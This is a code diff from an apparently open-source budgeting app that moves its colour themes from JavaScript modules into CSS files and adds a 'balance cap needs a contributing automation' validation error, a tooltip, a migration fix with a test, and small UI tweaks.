--color-buttonNormalBorder: var(--palette-navy150);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-blue600);
--color-buttonNormalDisabledText: var(--palette-navy300);
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
--color-calendarText: var(--palette-navy50);
--color-calendarBackground: var(--palette-navy900);
--color-calendarItemText: var(--palette-navy150);
--color-calendarItemBackground: var(--palette-navy800);
--color-calendarSelectedBackground: var(--palette-navy500);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green150);
--color-noticeBackgroundLight: var(--palette-green100);
--color-noticeBackgroundDark: var(--palette-green500);
--color-noticeText: var(--palette-green700);
--color-noticeTextLight: var(--palette-green500);
--color-noticeTextDark: var(--palette-green900);
--color-noticeTextMenu: var(--palette-green200);
--color-noticeBorder: var(--palette-green500);
--color-warningBackground: var(--palette-orange200);
--color-warningText: var(--palette-orange700);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange900);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red100);
--color-errorText: var(--palette-red500);
--color-errorTextDark: var(--palette-red700);
--color-errorTextDarker: var(--palette-red900);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple100);
--color-upcomingText: var(--palette-purple700);
--color-upcomingBorder: var(--palette-purple500);
--color-formLabelText: var(--palette-blue600);
--color-formLabelBackground: var(--palette-blue200);
--color-formInputBackground: var(--palette-navy50);
--color-formInputBackgroundSelected: var(--palette-white);
--color-formInputBackgroundSelection: var(--palette-purple500);
--color-formInputBorder: var(--palette-navy150);
--color-formInputTextReadOnlySelection: var(--palette-navy50);
--color-formInputBorderSelected: var(--palette-purple500);
--color-formInputText: var(--palette-navy900);
--color-formInputTextSelected: var(--palette-navy50);
--color-formInputTextPlaceholder: var(--palette-navy300);
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
--color-formInputTextSelection: var(--palette-navy100);
--color-formInputShadowSelected: var(--palette-purple300);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableBackground);
--color-checkboxBackgroundSelected: var(--palette-blue500);
--color-checkboxBorderSelected: var(--palette-blue500);
--color-checkboxShadowSelected: var(--palette-blue300);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
--color-checkboxToggleDisabled: var(--palette-gray200);
--color-pillBackground: var(--palette-navy150);
--color-pillBackgroundLight: var(--palette-navy50);
--color-pillText: var(--palette-navy800);
--color-pillTextHighlighted: var(--palette-purple600);
--color-pillBorder: var(--palette-navy150);
--color-pillBorderDark: var(--palette-navy300);
--color-pillBackgroundSelected: var(--palette-blue150);
--color-pillTextSelected: var(--palette-blue900);
--color-pillBorderSelected: var(--palette-purple500);
--color-pillTextSubdued: var(--palette-navy200);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--palette-navy900);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple125);
--color-noteTagBackgroundHover: var(--palette-purple150);
--color-noteTagDefault: var(--palette-purple125);
--color-noteTagText: var(--palette-black);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetOtherMonth: var(--palette-gray50);
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
--color-budgetHeaderOtherMonth: var(--palette-gray80);
--color-floatingActionBarBackground: var(--palette-purple400);
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
--color-floatingActionBarText: var(--palette-navy50);
--color-tooltipText: var(--palette-navy900);
--color-tooltipBackground: var(--palette-white);
--color-tooltipBorder: var(--palette-navy150);
--color-calendarCellBackground: var(--palette-navy100);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,252 @@
:root {
--color-pageBackground: var(--palette-gray600);
--color-pageBackgroundModalActive: var(--palette-gray700);
--color-pageBackgroundTopLeft: var(--palette-gray800);
--color-pageBackgroundBottomRight: var(--palette-gray700);
--color-pageBackgroundLineTop: var(--palette-purple300);
--color-pageBackgroundLineMid: var(--palette-gray900);
--color-pageBackgroundLineBottom: var(--palette-gray150);
--color-pageText: var(--palette-gray100);
--color-pageTextLight: var(--palette-gray200);
--color-pageTextSubdued: var(--palette-gray400);
--color-pageTextDark: var(--palette-gray100);
--color-pageTextPositive: var(--palette-purple200);
--color-pageTextLink: var(--palette-purple300);
--color-pageTextLinkLight: var(--palette-purple300);
--color-cardBackground: var(--palette-gray800);
--color-cardBorder: var(--palette-purple300);
--color-cardShadow: var(--palette-gray900);
--color-tableBackground: var(--palette-gray800);
--color-tableRowBackgroundHover: var(--palette-gray500);
--color-tableText: var(--palette-gray150);
--color-tableTextLight: var(--color-tableText);
--color-tableTextSubdued: var(--palette-gray500);
--color-tableTextSelected: var(--palette-gray800);
--color-tableTextHover: var(--palette-gray400);
--color-tableTextInactive: var(--palette-gray400);
--color-tableHeaderText: var(--palette-gray200);
--color-tableHeaderBackground: var(--palette-gray900);
--color-tableBorder: var(--palette-gray600);
--color-tableBorderSelected: var(--palette-purple400);
--color-tableBorderHover: var(--palette-purple300);
--color-tableBorderSeparator: var(--palette-gray400);
--color-tableRowBackgroundHighlight: var(--palette-purple150);
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
--color-tableRowHeaderBackground: var(--palette-gray700);
--color-tableRowHeaderText: var(--palette-gray150);
--color-numberPositive: var(--palette-green300);
--color-numberNegative: var(--palette-red200);
--color-numberNeutral: var(--palette-gray500);
--color-budgetNumberNegative: var(--color-numberNegative);
--color-budgetNumberZero: var(--color-tableTextSubdued);
--color-budgetNumberNeutral: var(--color-tableText);
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
--color-templateNumberFunded: var(--color-numberPositive);
--color-templateNumberUnderFunded: var(--palette-orange200);
--color-toBudgetPositive: var(--color-numberPositive);
--color-toBudgetZero: var(--color-numberPositive);
--color-toBudgetNegative: var(--color-budgetNumberNegative);
--color-sidebarBackground: var(--palette-gray900);
--color-sidebarItemBackgroundPending: var(--palette-orange200);
--color-sidebarItemBackgroundPositive: var(--palette-green400);
--color-sidebarItemBackgroundFailed: var(--palette-red300);
--color-sidebarItemAccentSelected: var(--palette-purple200);
--color-sidebarItemBackgroundHover: var(--palette-gray700);
--color-sidebarItemText: var(--palette-gray100);
--color-sidebarItemTextSelected: var(--palette-purple200);
--color-sidebarBudgetName: var(--palette-gray300);
--color-menuBackground: var(--palette-gray700);
--color-menuItemBackground: var(--palette-gray200);
--color-menuItemBackgroundHover: var(--palette-gray500);
--color-menuItemText: var(--palette-gray100);
--color-menuItemTextHover: var(--palette-gray50);
--color-menuItemTextSelected: var(--palette-purple400);
--color-menuItemTextHeader: var(--palette-purple200);
--color-menuBorder: var(--palette-gray800);
--color-menuBorderHover: var(--palette-purple300);
--color-menuKeybindingText: var(--palette-purple200);
--color-menuAutoCompleteBackground: var(--palette-gray600);
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
--color-menuAutoCompleteText: var(--palette-gray100);
--color-menuAutoCompleteTextHover: var(--palette-green400);
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
--color-menuAutoCompleteItemText: var(--color-menuItemText);
--color-modalBackground: var(--palette-gray700);
--color-modalBorder: var(--palette-gray200);
--color-mobileHeaderBackground: var(--palette-gray900);
--color-mobileHeaderText: var(--palette-purple200);
--color-mobileHeaderTextSubdued: var(--palette-gray200);
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
--color-mobilePageBackground: var(--palette-gray900);
--color-mobileNavBackground: var(--palette-gray600);
--color-mobileNavItem: var(--palette-gray150);
--color-mobileNavItemSelected: var(--palette-purple200);
--color-mobileAccountShadow: var(--color-cardShadow);
--color-mobileAccountText: var(--palette-blue800);
--color-mobileTransactionSelected: var(--palette-purple300);
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
--color-mobileConfigServerViewTheme: var(--palette-purple500);
--color-markdownNormal: var(--palette-purple700);
--color-markdownDark: var(--palette-purple500);
--color-markdownLight: var(--palette-purple800);
--color-buttonMenuText: var(--palette-gray200);
--color-buttonMenuTextHover: var(--color-buttonMenuText);
--color-buttonMenuBackground: var(--palette-gray700);
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
--color-buttonMenuBorder: var(--palette-gray500);
--color-buttonMenuSelectedText: var(--palette-green800);
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
--color-buttonMenuSelectedBackground: var(--palette-orange200);
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
--color-buttonPrimaryText: var(--palette-white);
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
--color-buttonPrimaryBackground: var(--palette-purple300);
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
--color-buttonPrimaryDisabledText: var(--palette-gray400);
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
--color-buttonPrimaryDisabledBorder: var(
--color-buttonPrimaryDisabledBackground
);
--color-buttonNormalText: var(--palette-gray150);
--color-buttonNormalTextHover: var(--palette-gray150);
--color-buttonNormalBackground: var(--palette-gray600);
--color-buttonNormalBackgroundHover: var(--palette-gray400);
--color-buttonNormalBorder: var(--palette-gray300);
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
--color-buttonNormalSelectedText: var(--palette-white);
--color-buttonNormalSelectedBackground: var(--palette-purple500);
--color-buttonNormalDisabledText: var(--palette-gray400);
--color-buttonNormalDisabledBackground: var(--palette-gray700);
--color-buttonNormalDisabledBorder: var(--palette-gray500);
--color-calendarText: var(--palette-gray50);
--color-calendarBackground: var(--palette-gray700);
--color-calendarItemText: var(--palette-gray150);
--color-calendarItemBackground: var(--palette-gray500);
--color-calendarSelectedBackground: var(
--color-buttonNormalSelectedBackground
);
--color-buttonBareText: var(--color-buttonNormalText);
--color-buttonBareTextHover: var(--color-buttonNormalText);
--color-buttonBareBackground: transparent;
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
--color-noticeBackground: var(--palette-green600);
--color-noticeBackgroundLight: var(--palette-green900);
--color-noticeBackgroundDark: var(--palette-green400);
--color-noticeText: var(--palette-green300);
--color-noticeTextLight: var(--palette-green400);
--color-noticeTextDark: var(--palette-green150);
--color-noticeTextMenu: var(--palette-green400);
--color-noticeTextMenuHover: var(--palette-green700);
--color-noticeBorder: var(--palette-green800);
--color-warningBackground: var(--palette-orange800);
--color-warningText: var(--palette-orange200);
--color-warningTextLight: var(--palette-orange500);
--color-warningTextDark: var(--palette-orange100);
--color-warningBorder: var(--palette-orange500);
--color-errorBackground: var(--palette-red800);
--color-errorText: var(--palette-red200);
--color-errorTextDark: var(--palette-red150);
--color-errorTextDarker: var(--color-errorTextDark);
--color-errorTextMenu: var(--palette-red200);
--color-errorBorder: var(--palette-red500);
--color-upcomingBackground: var(--palette-purple800);
--color-upcomingText: var(--palette-purple200);
--color-upcomingBorder: var(--color-tableBorder);
--color-formLabelText: var(--palette-purple150);
--color-formLabelBackground: var(--palette-blue900);
--color-formInputBackground: var(--palette-gray800);
--color-formInputBackgroundSelected: var(--palette-gray700);
--color-formInputBackgroundSelection: var(--palette-purple400);
--color-formInputBorder: var(--palette-gray600);
--color-formInputTextReadOnlySelection: var(--palette-gray800);
--color-formInputBorderSelected: var(--palette-purple300);
--color-formInputText: var(--palette-gray150);
--color-formInputTextSelected: var(--palette-black);
--color-formInputTextPlaceholder: var(--palette-gray150);
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
--color-formInputTextSelection: var(--palette-gray800);
--color-formInputShadowSelected: var(--palette-purple400);
--color-formInputTextHighlight: var(--palette-purple200);
--color-checkboxText: var(--color-tableText);
--color-checkboxBackgroundSelected: var(--palette-purple300);
--color-checkboxBorderSelected: var(--palette-purple300);
--color-checkboxShadowSelected: var(--palette-purple500);
--color-checkboxToggleBackground: var(--palette-gray400);
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
--color-checkboxToggleDisabled: var(--palette-gray700);
--color-pillBackground: var(--palette-gray500);
--color-pillBackgroundLight: var(--palette-gray900);
--color-pillText: var(--palette-gray200);
--color-pillTextHighlighted: var(--palette-purple200);
--color-pillBorder: var(--palette-gray500);
--color-pillBorderDark: var(--color-pillBorder);
--color-pillBackgroundSelected: var(--palette-purple600);
--color-pillTextSelected: var(--palette-gray150);
--color-pillBorderSelected: var(--palette-purple300);
--color-pillTextSubdued: var(--palette-gray500);
--color-reportsRed: var(--palette-red300);
--color-reportsBlue: var(--palette-blue400);
--color-reportsGreen: var(--palette-green400);
--color-reportsGray: var(--palette-gray400);
--color-reportsLabel: var(--color-pageText);
--color-reportsInnerLabel: var(--palette-navy800);
--color-reportsNumberPositive: var(--color-numberPositive);
--color-reportsNumberNegative: var(--color-numberNegative);
--color-reportsNumberNeutral: var(--color-numberNeutral);
--color-reportsChartFill: var(--color-reportsNumberPositive);
--color-noteTagBackground: var(--palette-purple800);
--color-noteTagBackgroundHover: var(--palette-purple600);
--color-noteTagDefault: var(--palette-purple700);
--color-noteTagText: var(--palette-purple100);
--color-budgetOtherMonth: var(--palette-gray700);
--color-budgetCurrentMonth: var(--color-tableBackground);
--color-budgetHeaderOtherMonth: var(--palette-gray800);
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
--color-floatingActionBarBackground: var(--palette-gray900);
--color-floatingActionBarBorder: var(--palette-purple300);
--color-floatingActionBarText: var(--palette-purple200);
--color-tooltipText: var(--palette-gray100);
--color-tooltipBackground: var(--palette-gray800);
--color-tooltipBorder: var(--palette-gray600);
--color-calendarCellBackground: var(--palette-navy900);
--color-overlayBackground: rgba(0, 0, 0, 0.3);
--color-chartQual1: var(--palette-chartQual1);
--color-chartQual2: var(--palette-chartQual2);
--color-chartQual3: var(--palette-chartQual3);
--color-chartQual4: var(--palette-chartQual4);
--color-chartQual5: var(--palette-chartQual5);
--color-chartQual6: var(--palette-chartQual6);
--color-chartQual7: var(--palette-chartQual7);
--color-chartQual8: var(--palette-chartQual8);
--color-chartQual9: var(--palette-chartQual9);
}

View File

@@ -0,0 +1,103 @@
:root {
--palette-gray50: #f6f8fa;
--palette-gray80: #f0f4f6;
--palette-gray100: #e8ecf0;
--palette-gray150: #d4dae0;
--palette-gray200: #bdc5cf;
--palette-gray300: #98a1ae;
--palette-gray400: #747c8b;
--palette-gray500: #4d5768;
--palette-gray600: #373b4a;
--palette-gray700: #242733;
--palette-gray800: #141520;
--palette-gray900: #080811;
--palette-navy50: #f7fafc;
--palette-navy100: #e8ecf0;
--palette-navy150: #d9e2ec;
--palette-navy200: #bcccdc;
--palette-navy300: #9fb3c8;
--palette-navy400: #829ab1;
--palette-navy500: #627d98;
--palette-navy600: #486581;
--palette-navy700: #334e68;
--palette-navy800: #243b53;
--palette-navy900: #102a43;
--palette-blue50: #f5fcff;
--palette-blue100: #e3f0ff;
--palette-blue150: #b3d9ff;
--palette-blue200: #8bcafd;
--palette-blue300: #66b5fa;
--palette-blue400: #40a5f7;
--palette-blue500: #2b8fed;
--palette-blue600: #1980d4;
--palette-blue700: #1271bf;
--palette-blue800: #0b5fa3;
--palette-blue900: #034388;
--palette-green50: #fafffd;
--palette-green100: #effcf6;
--palette-green150: #c6f7e2;
--palette-green200: #8eedc7;
--palette-green300: #65d6ad;
--palette-green400: #3ebd93;
--palette-green500: #27ab83;
--palette-green600: #199473;
--palette-green700: #147d64;
--palette-green800: #0c6b58;
--palette-green900: #014d40;
--palette-orange50: #fffefa;
--palette-orange100: #fffbea;
--palette-orange150: #fff7c4;
--palette-orange200: #fcf088;
--palette-orange300: #f5e35d;
--palette-orange400: #f2d047;
--palette-orange500: #e6bb20;
--palette-orange600: #d4a31c;
--palette-orange700: #b88115;
--palette-orange800: #87540d;
--palette-orange900: #733309;
--palette-red50: #fff1f1;
--palette-red100: #ffe3e3;
--palette-red150: #ffbdbd;
--palette-red200: #ff9b9b;
--palette-red300: #f86a6a;
--palette-red400: #ef4e4e;
--palette-red500: #e12d39;
--palette-red600: #cf1124;
--palette-red700: #ab091e;
--palette-red800: #8a041a;
--palette-red900: #610316;
--palette-purple50: #f9f6fe;
--palette-purple100: #f2ebfe;
--palette-purple125: #e4d4ff;
--palette-purple150: #dac4ff;
--palette-purple200: #b990ff;
--palette-purple300: #a368fc;
--palette-purple400: #9446ed;
--palette-purple500: #8719e0;
--palette-purple600: #7a0ecc;
--palette-purple700: #690cb0;
--palette-purple800: #580a94;
--palette-purple900: #44056e;
--palette-white: #ffffff;
--palette-black: #000000;
--palette-hover: #fafafa;
--palette-border: #e8ecf0;
--palette-selected: #b3d9ff;
--palette-chartQual1: #45b29d;
--palette-chartQual2: #efc94c;
--palette-chartQual3: #e27a3f;
--palette-chartQual4: #df5a49;
--palette-chartQual5: #5f91b8;
--palette-chartQual6: #e2a37f;
--palette-chartQual7: #55dbc1;
--palette-chartQual8: #efda97;
--palette-chartQual9: #df948a;
}

View File

@@ -193,7 +193,7 @@ export function BalanceWithCarryover({
<div>
{
{
type: longGoalValue === 1 ? t('Long') : t('Template'),
type: longGoalValue === 1 ? t('Goal') : t('Automation'),
} as TransObjectLiteral
}
</div>

View File

@@ -19,6 +19,8 @@ export function AutomationErrorTitle({
return <Trans>Schedule not found</Trans>;
case 'refill-no-cap':
return <Trans>Refill needs a balance cap</Trans>;
case 'limit-no-contributor':
return <Trans>Balance cap needs a contributing automation</Trans>;
case 'percentage-out-of-range':
return <Trans>Percentage out of range</Trans>;
case 'percentage-no-source':
@@ -53,7 +55,9 @@ export function AutomationErrorShort({
<Trans>Pick a schedule</Trans>
);
case 'refill-no-cap':
return <Trans>Add a balance cap above</Trans>;
return <Trans>Add a balance cap</Trans>;
case 'limit-no-contributor':
return <Trans>Add an automation that contributes funds</Trans>;
case 'percentage-out-of-range':
return (
<Trans>{{ percent: error.percent }}% must be between 0 and 100</Trans>
@@ -100,6 +104,14 @@ export function AutomationErrorDetail({
added to use as the target.
</Trans>
);
case 'limit-no-contributor':
return (
<Trans>
A balance cap on its own does nothing. Add a contributing automation
(such as a fixed amount, save by date, or whatever is left) so the cap
has something to clamp.
</Trans>
);
case 'percentage-out-of-range':
return <Trans>Set a value greater than 0% and at most 100%.</Trans>;
case 'percentage-no-source':

View File

@@ -38,7 +38,7 @@ export function getDisplayTemplateMeta(
case 'schedule':
return {
label: t('Cover schedule'),
description: t('Save up for a recurring scheduled transaction.'),
description: t('Save up for a scheduled transaction.'),
icon: SvgCalendar3,
};
case 'by':

View File

@@ -7,6 +7,7 @@ import type { DisplayTemplateType } from './constants';
export type AutomationErrorKind =
| { kind: 'schedule-not-found'; name: string }
| { kind: 'refill-no-cap' }
| { kind: 'limit-no-contributor' }
| { kind: 'percentage-out-of-range'; percent: number }
| { kind: 'percentage-no-source' }
| { kind: 'percentage-source-not-found'; source: string }
@@ -48,6 +49,15 @@ export function validateAutomation(
return { kind: 'refill-no-cap' };
}
return null;
case 'limit':
if (
!allTemplates.some(
t => t.type !== 'limit' && t.type !== 'goal' && t.type !== 'error',
)
) {
return { kind: 'limit-no-contributor' };
}
return null;
case 'percentage':
if (template.type !== 'percentage') return null;
if (!template.category) return { kind: 'percentage-no-source' };

View File

@@ -3,6 +3,7 @@ import { useTranslation } from 'react-i18next';
import { SvgAlertTriangle } from '@actual-app/components/icons/v2';
import { Text } from '@actual-app/components/text';
import { theme } from '@actual-app/components/theme';
import { Tooltip } from '@actual-app/components/tooltip';
import { View } from '@actual-app/components/view';
import type { AutomationEntry } from '#components/budget/goals/automationExamples';
@@ -126,18 +127,24 @@ export function AutomationListRow({
/>
)}
</View>
<Text
style={{
fontSize: 11,
color: subtitleColor,
overflow: 'hidden',
textOverflow: 'ellipsis',
whiteSpace: 'nowrap',
display: 'block',
}}
<Tooltip
content={
<Text style={{ display: 'block', maxWidth: 320 }}>{subtitle}</Text>
}
>
{subtitle}
</Text>
<Text
style={{
fontSize: 11,
color: subtitleColor,
overflow: 'hidden',
textOverflow: 'ellipsis',
whiteSpace: 'nowrap',
display: 'block',
}}
>
{subtitle}
</Text>
</Tooltip>
</View>
{!NON_CONTRIBUTION_TYPES.has(entry.displayType) && (
<View

View File

@@ -100,6 +100,31 @@ describe('migrateTemplatesToAutomations', () => {
});
});
it('expands `#template 0 up to N` into limit + fixed-zero (not refill)', () => {
const simpleTemplate = {
type: 'simple',
directive: 'template',
priority: 4,
monthly: 0,
limit: {
amount: 1000,
hold: false,
period: 'monthly',
},
} satisfies Template;
const result = migrateTemplatesToAutomations([simpleTemplate]);
expect(result).toHaveLength(2);
expect(result.map(entry => entry.displayType)).toEqual(['limit', 'fixed']);
expect(result[1].template).toMatchObject({
type: 'periodic',
amount: 0,
directive: 'template',
priority: 4,
});
});
it('expands a simple template with both limit and monthly into limit + periodic (no implicit refill)', () => {
// `#template 20 up to 200 per week` budgets 20/month and caps at the
// limit — the engine's runSimple returns just the monthly value, so

View File

@@ -47,7 +47,8 @@ export function migrateTemplatesToAutomations(
templates.forEach(template => {
if (template.type === 'simple') {
const monthly = template.monthly;
const hasMonthly = monthly != null && monthly !== 0;
const hasMonthly =
monthly != null && (monthly !== 0 || template.limit != null);
if (template.limit) {
entries.push(
@@ -64,10 +65,7 @@ export function migrateTemplatesToAutomations(
'limit',
),
);
// The implicit refill only applies to a limit-only simple template
// (e.g. `#template up to 200`). When a monthly amount is also set
// (`#template 50 up to 200`), the engine just budgets the monthly
// amount and clamps to the cap — no top-up to the limit.
if (!hasMonthly) {
entries.push(
createAutomationEntry(
@@ -81,6 +79,7 @@ export function migrateTemplatesToAutomations(
);
}
}
if (hasMonthly) {
entries.push(
createAutomationEntry(

View File

@@ -220,6 +220,7 @@ export function AmountInput({
onFocus={e => {
setIsFocused(true);
setValue(format.forEdit(Math.abs(initialValue ?? 0)));
setTimeout(() => innerRef.current?.select(), 0);
onFocus?.(e);
}}
onBlur={e => {

View File

@@ -1,96 +0,0 @@
// Only for use in contextual color definitions
export const gray50 = '#f6f8fa';
export const gray80 = '#f0f4f6';
export const gray100 = '#e8ecf0';
export const gray150 = '#d4dae0';
export const gray200 = '#bdc5cf';
export const gray300 = '#98a1ae';
export const gray400 = '#747c8b';
export const gray500 = '#4d5768';
export const gray600 = '#373b4a';
export const gray700 = '#242733';
export const gray800 = '#141520';
export const gray900 = '#080811';
export const navy50 = '#f7fafc';
export const navy100 = '#e8ecf0';
export const navy150 = '#d9e2ec';
export const navy200 = '#bcccdc';
export const navy300 = '#9fb3c8';
export const navy400 = '#829ab1';
export const navy500 = '#627d98';
export const navy600 = '#486581';
export const navy700 = '#334e68';
export const navy800 = '#243b53';
export const navy900 = '#102a43';
export const blue50 = '#f5fcff';
export const blue100 = '#e3f0ff';
export const blue150 = '#b3d9ff';
export const blue200 = '#8bcafd';
export const blue300 = '#66b5fa';
export const blue400 = '#40a5f7';
export const blue500 = '#2b8fed';
export const blue600 = '#1980d4';
export const blue700 = '#1271bf';
export const blue800 = '#0b5fa3';
export const blue900 = '#034388';
export const green50 = '#fafffd';
export const green100 = '#effcf6';
export const green150 = '#c6f7e2';
export const green200 = '#8eedc7';
export const green300 = '#65d6ad';
export const green400 = '#3ebd93';
export const green500 = '#27ab83';
export const green600 = '#199473';
export const green700 = '#147d64';
export const green800 = '#0c6b58';
export const green900 = '#014d40';
export const orange50 = '#fffefa';
export const orange100 = '#fffbea';
export const orange150 = '#fff7c4';
export const orange200 = '#fcf088';
export const orange300 = '#f5e35d';
export const orange400 = '#f2d047';
export const orange500 = '#e6bb20';
export const orange600 = '#d4a31c';
export const orange700 = '#b88115';
export const orange800 = '#87540d';
export const orange900 = '#733309';
export const red50 = '#fff1f1';
export const red100 = '#ffe3e3';
export const red150 = '#ffbdbd';
export const red200 = '#ff9b9b';
export const red300 = '#f86a6a';
export const red400 = '#ef4e4e';
export const red500 = '#e12d39';
export const red600 = '#cf1124';
export const red700 = '#ab091e';
export const red800 = '#8a041a';
export const red900 = '#610316';
export const purple50 = '#f9f6fe';
export const purple100 = '#f2ebfe';
export const purple125 = '#e4d4ff';
export const purple150 = '#dac4ff';
export const purple200 = '#b990ff';
export const purple300 = '#a368fc';
export const purple400 = '#9446ed';
export const purple500 = '#8719e0';
export const purple600 = '#7a0ecc';
export const purple700 = '#690cb0';
export const purple800 = '#580a94';
export const purple900 = '#44056e';
export const white = '#ffffff';
export const black = '#000000';
export const hover = '#fafafa';
export const border = '#e8ecf0';
export const selected = '#b3d9ff';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = '#45B29D'; // Dark Teal
export const chartQual2 = '#EFC94C'; // Yellow
export const chartQual3 = '#E27A3F'; // Orange
export const chartQual4 = '#DF5A49'; // Light Red
export const chartQual5 = '#5F91B8'; // Blue
export const chartQual6 = '#E2A37F'; // Peach
export const chartQual7 = '#55DBC1'; // Light Teal
export const chartQual8 = '#EFDA97'; // Light Yellow
export const chartQual9 = '#DF948A'; // Light Red

View File

@@ -1,5 +1,9 @@
import { useEffect, useMemo, useState } from 'react';
import darkThemeCss from '@actual-app/components/themes/dark.css?inline';
import lightThemeCss from '@actual-app/components/themes/light.css?inline';
import midnightThemeCss from '@actual-app/components/themes/midnight.css?inline';
import paletteCss from '@actual-app/components/themes/palette.css?inline';
import type { DarkTheme, Theme } from '@actual-app/core/types/prefs';
import { useGlobalPref } from '#hooks/useGlobalPref';
@@ -10,15 +14,12 @@ import {
validateThemeCss,
} from './customThemes';
import type { BaseTheme } from './customThemes';
import * as darkTheme from './themes/dark';
import * as lightTheme from './themes/light';
import * as midnightTheme from './themes/midnight';
const themes = {
light: { name: 'Light', colors: lightTheme },
dark: { name: 'Dark', colors: darkTheme },
midnight: { name: 'Midnight', colors: midnightTheme },
auto: { name: 'System default', colors: darkTheme },
light: { name: 'Light', colors: lightThemeCss },
dark: { name: 'Dark', colors: darkThemeCss },
midnight: { name: 'Midnight', colors: midnightThemeCss },
auto: { name: 'System default', colors: darkThemeCss },
} as const;
type ThemeKey = keyof typeof themes;
@@ -100,9 +101,7 @@ export function ThemeStyle() {
const [installedCustomDarkThemeJson] = useGlobalPref(
'installedCustomDarkTheme',
);
const [themeColors, setThemeColors] = useState<
typeof lightTheme | typeof darkTheme | typeof midnightTheme | undefined
>(undefined);
const [themeColors, setThemeColors] = useState<string | undefined>(undefined);
useEffect(() => {
if (activeTheme === 'auto') {
@@ -166,10 +165,12 @@ export function ThemeStyle() {
if (!themeColors) return null;
const css = Object.entries(themeColors)
.map(([key, value]) => ` --color-${key}: ${value};`)
.join('\n');
return <style>{`:root {\n${css}}`}</style>;
return (
<>
<style>{paletteCss}</style>
<style>{themeColors}</style>
</>
);
}
/**

View File

@@ -1,249 +0,0 @@
import * as colorPalette from '#style/palette';
export const pageBackground = colorPalette.gray900;
export const pageBackgroundModalActive = colorPalette.gray800;
export const pageBackgroundTopLeft = colorPalette.navy800;
export const pageBackgroundBottomRight = colorPalette.gray700;
export const pageBackgroundLineTop = colorPalette.purple400;
export const pageBackgroundLineMid = colorPalette.navy900;
export const pageBackgroundLineBottom = colorPalette.navy150;
export const pageText = colorPalette.navy150;
export const pageTextLight = colorPalette.navy300;
export const pageTextSubdued = colorPalette.navy500;
export const pageTextDark = colorPalette.navy100;
export const pageTextPositive = colorPalette.purple200;
export const pageTextLink = colorPalette.purple400;
export const pageTextLinkLight = colorPalette.purple200;
export const cardBackground = colorPalette.gray800;
export const cardBorder = colorPalette.purple400;
export const cardShadow = colorPalette.navy700;
export const tableBackground = colorPalette.navy800;
export const tableRowBackgroundHover = colorPalette.navy700;
export const tableText = colorPalette.navy150;
export const tableTextLight = tableText;
export const tableTextSubdued = colorPalette.navy500;
export const tableTextSelected = colorPalette.navy150;
export const tableTextHover = colorPalette.navy400;
export const tableTextInactive = colorPalette.navy500;
export const tableHeaderText = colorPalette.navy300;
export const tableHeaderBackground = colorPalette.navy700;
export const tableBorder = colorPalette.navy600;
export const tableBorderSelected = colorPalette.purple400;
export const tableBorderHover = colorPalette.purple300;
export const tableBorderSeparator = colorPalette.navy400;
